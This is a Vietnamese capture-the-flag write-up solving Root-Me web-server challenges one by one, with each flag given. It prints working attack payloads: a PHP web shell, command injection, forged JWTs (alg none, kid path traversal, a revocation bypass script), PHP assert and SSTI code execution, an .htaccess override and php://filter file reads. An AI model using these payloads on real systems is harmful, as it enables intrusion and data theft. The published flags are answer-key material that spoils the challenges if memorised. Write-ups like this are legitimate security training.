# Root me web server
Mình làm các challenge ở [đây](https://www.root-me.org/en/Challenges/Web-Server/)
## HTML source code
Đúng như cái tên đề bài ta chỉ cần ctrl + u là có được flag

```
Flag: nZ^&@q5&sjJHev0
```
## HTTP - IP restriction bypass
Đầu tiên khi bước vào trang web thì ta có một thông báo như sau

Vậy là để có thể có được flag thì ta phải đến từ mạng LAN(local area network) vì vậy mình tra trên mạng với cú pháp `http header for lan network` và tìm được một http header là `X-Forwarded-For` lấy ip local của mình rồi thêm header `X-Forwarded-For` rồi gửi là ta có flag

```
Flag: Ip_$po0Fing
```
## HTTP- Open redirect
Ở trong trang web có ba thanh điều hướng đến 3 trang web khác nhau thứ nhất là `facebook.com` rồi sau đó là `twitter.com` và cuối cùng là `slack.com` cùng với đó là khi mà ta xem source code thì thấy được như sau

Ta có thể thấy được rằng có thêm một biến `h` cùng với mấy ký tự khá là lạ sử dụng các trang web dùng để xác định loại hash được dùng thì mình tìm ra được đây là loại hash md5 và văn bản được hash chính là url của trang web được điều hướng

Vậy thì ta chỉ cần thay cái url được điều hướng sang một cái trang khác với hash đúng là được vì thế mình sử dụng payload như sau
```=
?url=https://daru.com&h=79546ca84b352dab3cf5eb5ed81c2817
```
Và thế là ta có được flag

```
Flag: e6f8a530811d5a479812d7b82fc1a5c5
```
## HTTP - User-agent
Ngay khi ta vào trong challenge thì ta có thể được như sau

Vậy là chỉ cần chỉnh sửa lại cái header `user-agent` thành `admin` là ta sẽ có được flag

```
Flag: rr$Li9%L34qd1AAe27
```
## Weak password
Khi ta mới vào trong trang web thì ta có được một cái form để điền username với password mình điền thử `admin:admin` thì đúng luôn và flag là mật khẩu
```
Flag: admin
```
## PHP - Command injection
Trang web cung cấp cho chúng ta một hệ thống để có thể thực hiện lệnh ping và theo như cái tên thì ta phải thực hiện command injection ở trên đấy đầu tiên thử với dấu ";" để thực hiện được nhiều câu lệnh

Dễ thấy không có filter ở phần ";" để lấy được flag thì ta phải đọc được file `index.php`

Đọc file `.passwd` để lấy được flag

```
Flag: S3rv1ceP1n9Sup3rS3cure
```
## Backup file
Theo như đề bài thì mình phải tìm cho ra được file backup nên mình quyết định sử dụng `dirsearch` để có thể tìm ra được vào mình thấy có đường link khả nghi như sau

Khi mình thử truy cập vào `index.php~` thì ngay lập tức mình nhận được một file khi mở file đấy lên thì có được flag

```
Flag: OCCY9AcNm1tj
```
## Directory indexing
Ban đầu mình cũng bấm Ctrl + U nhưng mà bị ra một cái fake flag nên là không dùng được rồi sau đó thì mình quyết định là chạy `dirsearch` rồi mình tìm ra được một vài thứ hay ho

Bấm vào `/admin/backup` thì ta có được như sau

Thử bấm vào `admin.txt` thì ta có được flag

```
Flag: LINUX
```
## HTTP - Headers
Khi vào trong trang web ta có được một gợi ý như sau `Content is not the only part of an HTTP response!` thấy vậy nên mình quyết định sử dụng Burp Suite để có thể xem được cả các header của trang web và không ngoài dự đoán của bản thân

Ở phần response ta có thể thấy được một header khá là khả nghi là `Header-RootMe-Admin` nên mình quyết định sẽ gửi một cái request với cái header như trên và thế là ta có được flag

```
Flag: HeadersMayBeUseful
```
## HTTP- Post
Ngay khi ta vào trong trang web ta có thể thấy được như sau

Nói chung là để có được flag thì ta phải bấm để được số điểm như yêu cầu nên mình sẽ sử dụng intercept của burp để thay đổi dữ liệu được gửi đi và ta có được flag

```
Flag: H7tp_h4s_N0_s3Cr37S_F0r_y0U
```
## HTTP - Improper redirect
Ở bài này chúng ta có nhiệm vụ là truy cập vào trong trang index.php khi truy cập vào thì ta có được flag luôn

```
Flag: ExecutionAfterRedirectIsBad
```
## HTTP - Verb Tampering
Khi vừa mới vào trong trang web thì mình có thể thấy được một cái form login nhưng đăng nhập thế nào cũng không được nên mình quyết định dùng intercept để xem request thì được như sau
```=
GET /web-serveur/ch8/ HTTP/1.1
Host: challenge01.root-me.org
Cache-Control: max-age=0
Authorization: Basic ZGFydTpkYXJ1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
```
Vì thể mình thử sửa thành `PATCH` do tên đề bài là `verb tampering`. Trong HTTP, PATCH là một phương thức cho phép bạn chỉ cập nhật một phần nhỏ của một tài nguyên trên máy chủ thay vì gửi lại toàn bộ tài nguyên. Điều này giúp giảm lượng dữ liệu phải gửi qua mạng, đồng thời tối ưu hóa quá trình cập nhật.
Sau khi gửi request thì mình cũng có được flag

```
Flag: a23e$dme96d3saez$$prap
```
## Install files
Đầu tiên khi ta vào trong trang web thì chưa có gì nên ban đầu mình cũng thử dirsearch trang web thì không có gì hết rồi mình thử ctrl + u thì có thấy được thứ là `/phpbb` mình đi theo directory thì cũng chẳng có gì hết cả nên tiếp tục dirsearch thì mình có được một path như sau

Truy cập vào path thì thấy được như sau

Vào trong trang `install.php` thì có được flag thôi

```
Flag: karambar
```
## CRLF
Vào trong trang web thì ta thấy được như sau

Mà ở trong request gửi đi thì ở dưới dạng `http://challenge01.root-me.org/web-serveur/ch14/?username=admin&password=admin` nên mình sử dụng payload như sau để gây ra lỗi CRLF
```=
GET /web-serveur/ch14/?username=admin+authenticated.%0d%0adaru&password=admin
```
Nó sẽ tạo ra một cái dấu xuống dòng và như thế là có được flag

```
Flag: rFSP&G0p&5uAg1%
```
## File upload - Double extensions
Bài này thì như cái tên các bạn gửi một file dưới dạng là `payload.php.jpeg` thì sẽ được thực thi thôi file của mình có dạng như sau
```=
<?php
$data = system($_GET["cmd"]);
echo $data;
?>
```
Tìm thấy file `.passwd` ở thư mục `~` cat nó và get flag thôi

```=
Flag: Gg9LRz-hWSxqqUKd77-_q-6G8
```
## File upload - MIME type
Bài này ta chỉ cần thay đổi mỗi phần `content-type` thành `image/gif` như vậy là đủ rồi và vẫn ở đọc flag ở đường dẫn `~/.passwd`

```=
Flag: a7n4nizpgQgnPERy89uanf6T4
```
## HTTP - Cookies
Thay mỗi cookie từ `visituer` thành `admin` là có được flag
```=
Flag: ml-SYMPA
```
## Insecure Code Management
Bài này liên quan đến việc quản lý source code chưa cần thận khi truy cập vào trong `/.git` thì ta có thể kha khá thư mục với những bài như này các bạn nên dùng `gitdumper` một cái tool khá là hay chuyên dùng để cào các file trong `.git` có thể xem ở [đây](https://www.youtube.com/watch?v=PHqv39S_b9A&ab_channel=antispambo) để tham khảo sau khi xong thì ta có được flag là
```=
Flag: s3cureP@ssw0rd
```
## JWT - Introduction
Ban đầu khi vào trang web ta phải tìm cách đăng nhập được vào với tư cách là một admin thì mới có flag nhưng không có mật khẩu thì sao vào được nên ta có thể đăng nhập với tư cách là `guest` để lấy cái `jwt` để get flag ban đầu mình cũng thử dùng `jwt-cracker` để bruteforce chữ ký nhưng mãi chẳng thấy gì nên là không có khả thi nên là mình thử một lỗ hổng khác đấy chính là xóa cái phần signature đi còn phần `alg` thì để thành`none` payload của mình như sau
```=
Payload: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
```
Sau đó thì get flag thôi
```=
Flag: S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7
```
## Directory traversal
Đối với bài này các bạn chỉ cần dùng dirbuster để quét các path ẩn ở trong phần `http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=?` nó sẽ ra một cái url sau `http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=86hwnX2r` bấm vào thì ta sẽ có flag
```=
Flag: kcb$!Bx@v4Gs9Ez
```
## File upload Null byte
Trang web cho phép chúng ta upload một cái file lên ta cần phải upload một file php vì thế hãy tạo một file có tên là `payload.php%00.jpeg` như vậy sẽ upload được khi ta bấm vào trong file của chúng ta thì sẽ có flag ngay lập tức
```=
Flag : YPNchi2NmTwygr2dgCCF
```
## JWT - Revoked token
Đây là bài hiếm hoi mà họ cho phép đọc source code
```=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, request, jsonify
from flask_jwt_extended import JWTManager, jwt_required, create_access_token, decode_token
import datetime
#from apscheduler.schedulers.background import BackgroundScheduler
import threading
import jwt
from config import *
# Setup flask
app = Flask(__name__)
app.config['JWT_SECRET_KEY'] = SECRET
jwtmanager = JWTManager(app)
blacklist = set()
lock = threading.Lock()
# Free memory from expired tokens, as they are no longer useful
def delete_expired_tokens():
with lock:
to_remove = set()
global blacklist
for access_token in blacklist:
try:
jwt.decode(access_token, app.config['JWT_SECRET_KEY'],algorithm='HS256')
except:
to_remove.add(access_token)
blacklist = blacklist.difference(to_remove)
@app.route("/web-serveur/ch63/")
def index():
return "POST : /web-serveur/ch63/login <br>\nGET : /web-serveur/ch63/admin"
# Standard login endpoint
@app.route('/web-serveur/ch63/login', methods=['POST'])
def login():
try:
username = request.json.get('username', None)
password = request.json.get('password', None)
except:
return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
if username != 'admin' or password != 'admin':
return jsonify({"msg": "Bad username or password"}), 401
access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
ret = {
'access_token': access_token,
}
with lock:
blacklist.add(access_token)
return jsonify(ret), 200
# Standard admin endpoint
@app.route('/web-serveur/ch63/admin', methods=['GET'])
@jwt_required
def protected():
access_token = request.headers.get("Authorization").split()[1]
with lock:
if access_token in blacklist:
return jsonify({"msg":"Token is revoked"})
else:
return jsonify({'Congratzzzz!!!_flag:': FLAG})
if __name__ == '__main__':
scheduler = BackgroundScheduler()
job = scheduler.add_job(delete_expired_tokens, 'interval', seconds=10)
scheduler.start()
app.run(debug=False, host='0.0.0.0', port=5000)
```
Dễ thấy được rằng chương trình cho phép ta gửi dữ liệu dưới dạng `json` với dữ liệu như sau
```=
{
"username" : "admin",
"password" " "admin
}
```
Sau khi gửi xong dữ liệu trên thì ta nhận được một cái `jwt` được trả về để có thể get được flag thì ta phải chắc chắn rằng `jwt` được gửi đi không bị ở trong blacklist nhưng khổ nỗi là sau khi ta tạo xong cái `jwt` thì nó bị add vào trong blacklist mất tiêu rồi nhưng đề bài gợi ý là dùng `jwt revoked` nên mình cũng có tìm hiểu thì thấy được như sau `base64` sẽ padding thêm vào đó là dấu `=` do không có đủ ký tự để có thể in ra được kết quả có độ dài là bội số của 4 vì vậy việc thêm vào đó một dấu `=` ở cuối signature của jwt có thể khiến cho server hiểu rằng đây là một đoạn jwt khác trong khi đấy vẫn là `jwt` ban đầu và mình có code ra một đoạn để có thể gửi dữ liệu và get flag luôn
```=
import requests
url = "http://challenge01.root-me.org/web-serveur/ch63/"
payload = {
"username": "admin",
"password": "admin"
}
response = requests.post(url=(url + "login"), json=payload).json()
access_token = response["access_token"] + "="
headers = {"Authorization": f"Bearer {access_token}"}
response = requests.get(url=(url + "admin"), headers=headers)
if "Token is revoked" in response.text:
print("Token is revoked, cannot access admin page.")
else:
print(response.text)
```
Và cuối cùng là ta có được flag thôi
```=
{"Congratzzzz!!!_flag:":"Do_n0t_r3v0ke_3nc0d3dTokenz_Mam3ne-Us3_th3_JTI_f1eld"}
```
## JWT - weak secret
Ta được cấp một token jwt sử dụng `jwt-cracker` để crack được password tìm ra được signature là `lol` thay đổi giá trị từ `guest` sang thành `admin` rồi gửi request là có được flag
```=
Payload: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA
```
```=
Flag: PleaseUseAStrongSecretNextTime
```
## JWT - Unsecure File Signature
Bài này cho phép người dùng sau khi vào trang web thì được cấp một cái mã `jwt` cùng với đó khi mình đọc đề bài thì thấy từ khóa `kid` tương ứng với key id nên cũng có nghiên cứu một chút và rút ra được những điều sau `key id` được sử dụng bởi server để có thể xác định được các key đúng trong trường hợp có nhiều key được tạo ra
Cách thức tấn công vào key id thì ta có thể sử dụng hình thức path traversal thông qua biến `kid` chẳng hạn như sau
```=
{
"kid": "../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}
```
Ta có thể sử dụng file `/dev/null` đây là một file rỗng và có ở trong linux việc sử dụng file có thể khiến cho giá trị `kid` trở thành rỗng và do đó bypass được hệ thống
Ban đầu mình thử là như sau
```=
{
"alg": "HS256",
"kid": "../../../../../../../dev/null",
"typ": "JWT"
}
```
Nhưng hình như là bị filter nên là mình đã thử một hướng mới đó là dùng payload như sau
```=
{
"alg": "HS256",
"kid": "....//....//....//....//....//....//....//dev/null",
"typ": "JWT"
}
```
Còn về signature các bạn có thể sử dụng là `AA==` chữ này sẽ trả về null và như thế là ta sẽ có được flag
```=
Payload: eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLi4vLy4uLi4vLy4uLi4vLy4uLi4vLy4uLi4vLy4uLi4vLy4uLi4vL2Rldi9udWxsIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MTIxMTI3NTB9.PKxoQfBKgal7ALn7ZJaTDQ8pdwSEMf8NvaRPapXx2hI
```
```=
Flag: RM{Uns3cUr3_f1l3_H4ndl1nG!!}
```
## Flask - Unsecure session
Đề bài cung cấp cho chúng ta một đoạn mã `jwt` ban đầu mình dùng jwt.io để thử nghiên cứu nó thì thấy nó bị lỗi bởi không giống các đoạn mã `jwt` mà mình thường thấy nên mình có đi nghiên cứu một chút về cách hoạt động của flask và cách nó tạo ra các đoạn `jwt` và mình thấy có một tool có thể giúp cho mình crack được cái đoạn mã `jwt` được tạo bởi flask chính là dùng tool `flask-unsign` mình sử dụng câu lệnh sau để có thể tìm ra được signature của nó
```=
flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJhZG1pbiI6ImZhbHNlIiwidXNlcm5hbWUiOiJndWVzdCJ9.ZgzQVg.kIcYE70zhFriVmAiSP-xU488dp4' --no-literal-eval
[*] Session decodes to: {'admin': 'false', 'username': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 70144 attempts
b's3cr3t'
```
Vậy là ta đã biết được chữ ký của đoạn mã `jwt` là như nào vì vậy mình tạo lại một đoạn mã `jwt` mới với nội dung là `{'admin' = 'true', 'username' : 'admin'}`
Mình dùng câu lệnh sau
```=
flask-unsign --sign --cookie '{"admin": "true", "username" : "admin"}' --secret 's3cr3t'
eyJhZG1pbiI6InRydWUiLCJ1c2VybmFtZSI6ImFkbWluIn0.ZgzTPA.ksQM5CVMClYKKDn0StY1veV72Is
```
Đưa lại vào trong trang web rồi get flag thôi
```=
Flag: Fl4sK_mi5c0nfigur4ti0n
```
## Php - assert()
Ở bài này ta được giới thiệu về lỗ hổng `local file inclusion` lỗ hổng Local File Inclusion (LFI) là một lỗ hổng bảo mật phổ biến trong ứng dụng web, cho phép kẻ tấn công đọc các tệp cục bộ trên máy chủ web mà không cần quyền truy cập hợp lệ. Thông thường, lỗ hổng này xảy ra khi ứng dụng web chấp nhận đầu vào từ người dùng mà không kiểm tra và xác thực đúng cách, sau đó sử dụng đầu vào này để truy cập và thực thi các tệp cục bộ.
Ở bài này sử dụng assert để đọc và hiện lỗi lên cho người dùng xem ta thử nhẹ một payload như sau `../../../etc/passwd%00` thì nó hiện ra lỗi như sau

Mình có thử tra các payload có thể dùng được cho trường hợp này và tìm ra được một cái như sau trang web đó ở [đây](https://book.hacktricks.xyz/pentesting-web/file-inclusion)
```=
Payload: ' and die(system("id")) or '
```
Đọc file `~/.passwd` và get flag thôi
```=
Flag: x4Ss3rT1nglSn0ts4f3A7A1Lx
```
## PHP - Apache configuration
Ở bày này ta được cấp một trang để thực hiện việc upload các file lên nhưng trang sẽ không nhận bất kỳ các file .php nên mmình quyết định đi theo hướng là sẽ viết đè lên file `.htaccess` nội dung file `.htaccess` là như sau
```=
Options All +Indexes
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<FilesMatch "payload">
SetHandler application/x-httpd-php
</FilesMatch>
```
Nội dung của file trên như sau
Options All +Indexes: Dòng này bật chức năng hiển thị danh sách các tệp trong thư mục trên trình duyệt web nếu không có tệp index (như index.html, index.php) được tìm thấy. Nó tương đương với tùy chọn "Indexes" trong cấu hình Apache.
<IfModule mod_php7.c>: Đây là một điều kiện để kiểm tra xem module mod_php7.c (module xử lý PHP cho Apache) có được tải hay không trước khi áp dụng các tùy chọn bên trong nó.
php_flag engine on: Dòng này bật module mod_php7.c, cho phép Apache sử dụng PHP để xử lý các tập tin .php trên máy chủ. Nó tương đương với tùy chọn "php_flag engine on" trong cấu hình Apache.
<FilesMatch "payload">: Đây là một điều kiện áp dụng cho các tệp có tên "payload". Khi tên tệp khớp với "payload", Apache sẽ sử dụng module "application/x-httpd-php" để xử lý tệp, có nghĩa là Apache sẽ hiểu rằng tệp này là một mã PHP và sẽ xử lý nó bằng PHP interpreter.
Upload một file `payload` lên rồi đọc flag thôi
```=
Flag: ht@cc3ss2RCE4th%w1n
```
## PHP - Filters
Một dạng bài liên quan đến lỗ hổng local file inclusion challenge cung cấp cho chúng ta một trang web để login vào với tư cách là admin nhưng chưa có mật khẩu nên mình đã thử payload như là `../../../etc/passwd` nhưng đương nhiên là không được rồi dựa vào để bài thì mình có đi tìm các payload liên quan đến php filters và mình tìm thấy được một payload như sau
```=
php://filter/convert.base64-encode/resource=login.php
```
Payload trên sử dụng một php stream wrappers là một PHP stream wrapper, cho phép bạn chạy các filter (bộ lọc) trên dữ liệu trước khi nó được đọc hoặc ghi. Trong trường hợp cụ thể này, filter được sử dụng là convert.base64-encode, điều này có nghĩa là tệp login.php sẽ được encode dưới dạng Base64 trước khi nó được đọc. Điều này thường được sử dụng để mã hóa tệp PHP thành chuỗi Base64 trước khi nó được trả về cho trình duyệt web, để ngăn chặn mã nguồn PHP từ việc bị hiển thị trực tiếp trên trình duyệt.
Decode đoạn mã thì ta được như sau
```=
<?php
include("config.php");
if ( isset($_POST["username"]) && isset($_POST["password"]) ){
if ($_POST["username"]==$username && $_POST["password"]==$password){
print("<h2>Welcome back !</h2>");
print("To validate the challenge use this password<br/><br/>");
} else {
print("<h3>Error : no such user/password</h2><br />");
}
} else {
?>
<form action="" method="post">
Login <br/>
<input type="text" name="username" /><br/><br/>
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
<?php } ?>
```
Thấy chương trình có cả include `config.php` nên mình đã thử đọc cả dữ liệu của file `config.php` vẫn dùng câu lệnh như trên và ta có được mật khẩu của admin
```=
<?php
$username="admin";
$password="DAPt9D2mky0APAF";
```
Vậy là ta có flag rồi
```=
Flag: DAPt9D2mky0APAF
```
## PHP - register globals
Ở bài này ta được hint rằng các lập trình viên có để lại backup nên mình cũng đã thử chạy dirsearch và thấy được file `index.php.bak` tải về và ta được một đoạn code như sau
```=
<?php
function auth($password, $hidden_password){
$res=0;
if (isset($password) && $password!=""){
if ( $password == $hidden_password ){
$res=1;
}
}
$_SESSION["logged"]=$res;
return $res;
}
function display($res){
$aff= '
<html>
<head>
</head>
<body>
<h1>Authentication v 0.05</h1>
<form action="" method="POST">
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
<h3>'.htmlentities($res).'</h3>
</body>
</html>';
return $aff;
}
session_start();
if ( ! isset($_SESSION["logged"]) )
$_SESSION["logged"]=0;
$aff="";
include("config.inc.php");
if (isset($_POST["password"]))
$password = $_POST["password"];
if (!ini_get('register_globals')) {
$superglobals = array($_SERVER, $_ENV,$_FILES, $_COOKIE, $_POST, $_GET);
if (isset($_SESSION)) {
array_unshift($superglobals, $_SESSION);
}
foreach ($superglobals as $superglobal) {
extract($superglobal, 0 );
}
}
if (( isset ($password) && $password!="" && auth($password,$hidden_password)==1) || (is_array($_SESSION) && $_SESSION["logged"]==1 ) ){
$aff=display("well done, you can validate with the password : $hidden_password");
} else {
$aff=display("try again");
}
echo $aff;
?>
```
Dễ thấy được rằng để có thể có được mật khẩu ta phải tấn công vào phần này
```=
if (( isset ($password) && $password!="" && auth($password,$hidden_password)==1) || (is_array($_SESSION) && $_SESSION["logged"]==1 ) ){
$aff=display("well done, you can validate with the password : $hidden_password");
} else {
$aff=display("try again");
}
```
Vì sử dụng toán tử || nên chỉ cần một điều kiện đúng thì câu lệnh sẽ được thực hiện vì thế mình sử dụng payload như sau để get flag
```=
Payload: http://challenge01.root-me.org/web-serveur/ch17/?_SESSION[logged]=1
```
Và thế là có được flag rồi
```=
Flag: NoTQYipcRKkgrqG
```
## Python - Server-side Template Injection Introduction
Trang web cung cấp cho chúng ta một trang web để có thể render ra được một trang web có hai attack surface là title và content mình thử sử dụng payload như sau
```=
Payload: title={{ lipsum }}&content={{ lipsum }}&button=
```
Thì thấy được rằng lỗ hổng ssti nằm ở content mình có thử một payload như sau
```=
Payload:
title={{ lipsum }}&content={{ lipsum.__globals__["os"].popen('ls -la ~').read() }}&button=
```
Thì thực hiện được câu lệnh os đến đây thì tìm được dẫn đến file chứa flag thôi
```=
Flag: Python_SST1_1s_co0l_4nd_mY_p4yl04ds_4r3_1ns4n3!!!
```